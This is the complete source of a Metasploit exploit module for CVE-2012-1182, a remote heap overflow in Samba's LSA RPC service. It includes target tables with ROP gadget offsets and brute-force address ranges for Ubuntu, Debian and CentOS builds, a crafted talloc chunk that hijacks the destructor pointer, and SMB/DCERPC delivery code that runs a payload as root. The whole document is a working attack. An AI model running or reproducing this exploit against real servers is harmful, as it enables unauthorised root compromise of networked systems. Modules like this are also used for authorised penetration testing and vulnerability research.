## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::RopDb include Msf::Exploit::Brute def initialize(info = {}) super(update_info(info, 'Name' => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow', 'Description' => %q{ This module triggers a vulnerability in the LSA RPC service of the Samba daemon because of an error on the PIDL auto-generated code. Making a specially crafted call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to trigger a heap overflow and finally execute arbitrary code with root privileges. The module uses brute force to guess the stackpivot/rop chain or the system() address and redirect flow there in order to bypass NX. The start and stop addresses for brute forcing have been calculated empirically. On the other hand the module provides the StartBrute and StopBrute which allow the user to configure his own addresses. }, 'Author' => [ 'Unknown', # Vulnerability discovery 'blasty', # Exploit 'mephos', # Metasploit module 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2012-1182'], ['OSVDB', '81303'], ['BID', '52973'], ['ZDI', '12-069'] ], 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Space' => 600, }, 'Platform' => %w{ linux unix }, # smbd process is killed soon after being exploited, need fork with meterpreter 'DefaultOptions' => { "PrependSetreuid" => true, "PrependSetregid" => true, "PrependFork" => true, "AppendExit" => true, "WfsDelay" => 5}, 'Targets' => [ ['2:3.5.11~dfsg-1ubuntu2 on Ubuntu Server 11.10', { 'Arch' => ARCH_X86, 'Offset' => 0x11c0, 'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2', 'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0 'Bruteforce' => { 'Start' => { 'libgcrypt_base' => 0xb67f1000 }, 'Stop' => { 'libgcrypt_base' => 0xb69ef000 }, 'Step' => 0x1000 } } ], ['2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.10', { 'Arch' => ARCH_X86, 'Offset' => 0x11c0, 'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2', 'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0 'Bruteforce' => { 'Start' => { 'libgcrypt_base' => 0xb68d9000 }, 'Stop' => { 'libgcrypt_base' => 0xb6ad7000 }, 'Step' => 0x1000 } } ], ['2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.04', { 'Arch' => ARCH_X86, 'Offset' => 0x11c0, 'Ropname' => 'Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2', # when stack pivoting, we control dword [esi] (field "next" in talloc chunk), ecx and [esp+4] point to shellcode 'Stackpivot' => 0x0006af03, # pop ecx ; jmp dword [esi] in /lib/i386-linux-gnu/libgcrypt.so.11.6.0 # we jump on "pop ecx, jmp dword [esi] to remove 4 bytes from the stack, then jump on pop esp.. gadget # to effectively stack pivot 'Stackpivot_helper' => 0x00054e87, #pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ; 'Bruteforce' => { 'Start' => { 'libgcrypt_base' => 0xb6973000 }, 'Stop' => { 'libgcrypt_base' => 0xb6b71000 }, 'Step' => 0x1000 } } ], # default version when installing 11.04 is 3.5.8 , 3.5.4 was PROPOSED on CD months before release date #['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04', # { # 'Arch' => ARCH_CMD, # 'Offset' => 0x11c0, # 'Ropname' => 'Ubuntu 11.04 / 2:3.5.4~dfsg-1ubuntu8', # 'Stackpivot' => 0, # 'Bruteforce' => # { # # The start should be 0x950 aligned, and then step 0x1000. # 'Start' => { 'Ret' => 0x00230950 }, # 'Stop' => { 'Ret' => 0x22a00950 }, # 'Step' => 0x1000 # } # } #], ['2:3.5.4~dfsg-1ubuntu8 on Ubuntu Server 10.10', { 'Arch' => ARCH_X86, 'Offset' => 0x11c0, 'Ropname' => 'Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8', 'Stackpivot' => 0x0003e4bc, #xchg eax, esp ; ret in libgcrypt.so.11.5.3 'Bruteforce' => { 'Start' => { 'libgcrypt_base' => 0xb694f000 }, 'Stop' => { 'libgcrypt_base' => 0xb6b4d000 }, 'Step' => 0x1000 } } ], ['2:3.5.6~dfsg-3squeeze6 on Debian Squeeze', { 'Arch' => ARCH_X86, 'Offset' => 0x11c0, 'Ropname' => 'Debian Squeeze / 2:3.5.6~dfsg-3squeeze6', 'Stackpivot' => 0x0003e30c, #xchg eax, esp ; ret in libgcrypt.so.11.5.3 'Bruteforce' => { 'Start' => { 'libgcrypt_base' => 0xb6962000 }, 'Stop' => { 'libgcrypt_base' => 0xb6a61000 }, 'Step' => 0x1000 } } ], ['3.5.10-0.107.el5 on CentOS 5', { 'Arch' => ARCH_X86, 'Offset' => 0x11c0, 'Ropname' => '3.5.10-0.107.el5 on CentOS 5', 'Stackpivot' => 0x0006ad7e, #xchg eax, esp ; xchg eax, ebx ; add eax, 0xCB313435 ; or ecx, eax ; ret in libgcrypt.so.11.5.2 'Bruteforce' => { 'Start' => { 'libgcrypt_base' => 0x0037c000 }, 'Stop' => { 'libgcrypt_base' => 0x09e73000 }, 'Step' => 0x1000 } } ] ], 'DisclosureDate' => '2012-04-10', 'DefaultTarget' => 0 )) register_options([ OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]), OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ]) ]) deregister_options('SMB::ProtocolVersion') end def exploit if target.bruteforce? bf = target.bruteforce if datastore['StartBrute'] and datastore['StartBrute'] > 0 bf.start_addresses['libgcrypt_base'] = datastore['StartBrute'] end if datastore['StopBrute'] and datastore['StopBrute'] > 0 bf.stop_addresses['libgcrypt_base'] = datastore['StopBrute'] end if bf.start_addresses['libgcrypt_base'] > bf.stop_addresses['libgcrypt_base'] raise ArgumentError, "StartBrute should not be larger than StopBrute" end end super end def brute_exploit(target_addrs) print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['libgcrypt_base']) datastore['DCERPC::fake_bind_multi'] = false datastore['DCERPC::max_frag_size'] = 4248 datastore['DCERPC::smb_pipeio'] = 'trans' datastore['DCERPC::ReadTimeout'] = 3 pipe = "lsarpc" vprint_status('Use Rex client (SMB1 only) since this module is not compatible with RubySMB client') connect(versions: [1]) smb_login() handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"]) dcerpc_bind(handle) dcerpc.socket.mode = 'rw' # revert for other exploits datastore['DCERPC::smb_pipeio'] = 'rw' cmd = ";;;;" # padding helper = 0 if target['Arch'] == ARCH_CMD cmd << "#{payload.encoded}\x00" # system argument tmp = cmd * (816/cmd.length) tmp << "\x00"*(816-tmp.length) ret_addr = addr elsif target['Arch'] == ARCH_X86 cmd << generate_rop_payload('samba', payload.encoded,{'target'=>target['Ropname'], 'base'=> target_addrs['libgcrypt_base'] }) tmp = cmd tmp << "\x00"*(816-tmp.length) ret_addr = target_addrs['libgcrypt_base']+target['Stackpivot'] # will help in stack pivot when it's not eax pointing to shellcode if target['Stackpivot_helper'] helper = target_addrs['libgcrypt_base']+target['Stackpivot_helper'] end end stub = "X" * 20 stub << NDR.short(2) # level stub << NDR.short(2) # level 2 stub << NDR.long(1) # auditing mode stub << NDR.long(1) # ptr stub << NDR.long(100000) # r-> count stub << NDR.long(20) # array size stub << NDR.long(0) stub << NDR.long(100) stub << rand_text_alpha(target['Offset']) # Crafted talloc chunk #stub << 'A' * 8 # next, prev stub << NDR.long(helper) + 'A'*4 # next, prev stub << NDR.long(0) + NDR.long(0) # parent, child stub << NDR.long(0) # refs # stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP stub << NDR.long(ret_addr) # destructor # will become EIP stub << NDR.long(0) # name stub << "AAAA" # size stub << NDR.long(0xe8150c70) # flags stub << "AAAABBBB" stub << tmp # pointer to tmp+4 in $esp stub << rand_text(32632) stub << rand_text(62000) begin call(dcerpc, 0x08, stub) rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError rescue Rex::Proto::DCERPC::Exceptions::Fault print_error('Server is most likely patched...') rescue Timeout::Error print_status("Timeout") rescue Rex::Proto::SMB::Exceptions::LoginError print_status("Rex::Proto::SMB::Exceptions::LoginError") rescue => e if e.to_s =~ /STATUS_PIPE_DISCONNECTED/ print_status('Server disconnected, this is expected') end end handler() disconnect() end def check begin vprint_status('Connect with SMB1 for the check method, since it needs native_lm info') connect(versions: [1]) smb_login() disconnect() version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0] minor = version.scan(/\.(\d*)$/).flatten[0].to_i vprint_status("Version found: #{version}") return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16 return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14 return Exploit::CheckCode::Appears if version =~ /^3\.6/ and minor < 4 return Exploit::CheckCode::Safe rescue ::Exception return CheckCode::Unknown end end # Perform a DCE/RPC Function Call def call(dcerpc, function, data, do_recv = true) frag_size = data.length if dcerpc.options['frag_size'] frag_size = dcerpc.options['frag_size'] end object_id = '' if dcerpc.options['object_call'] object_id = dcerpc.handle.uuid[0] end if options['random_object_id'] object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16)) end call_packets = make_request(function, data, frag_size, dcerpc.context, object_id) call_packets.each { |packet| write(dcerpc, packet) } return true if not do_recv raw_response = '' begin raw_response = dcerpc.read() rescue ::EOFError raise Rex::Proto::DCERPC::Exceptions::NoResponse end if (raw_response == nil or raw_response.length == 0) raise Rex::Proto::DCERPC::Exceptions::NoResponse end dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response) if dcerpc.last_response.type == 3 e = Rex::Proto::DCERPC::Exceptions::Fault.new e.fault = dcerpc.last_response.status raise e end dcerpc.last_response.stub_data end # Used to create standard DCERPC REQUEST packet(s) def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '') opnum = opnum.to_i size = size.to_i ctx = ctx.to_i chunks, frags = [], [] ptr = 0 # Break the request into fragments of 'size' bytes while ptr < data.length chunks.push( data[ ptr, size ] ) ptr += size end # Process requests with no stub data if chunks.length == 0 frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) ) return frags end # Process requests with only one fragment if chunks.length == 1 frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) ) return frags end # Create the first fragment of the request frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) ) # Create all of the middle fragments while chunks.length != 1 frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) ) end # Create the last fragment of the request frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) ) return frags end # Write data to the underlying socket def write(dcerpc, data) dcerpc.socket.write(data) data.length end end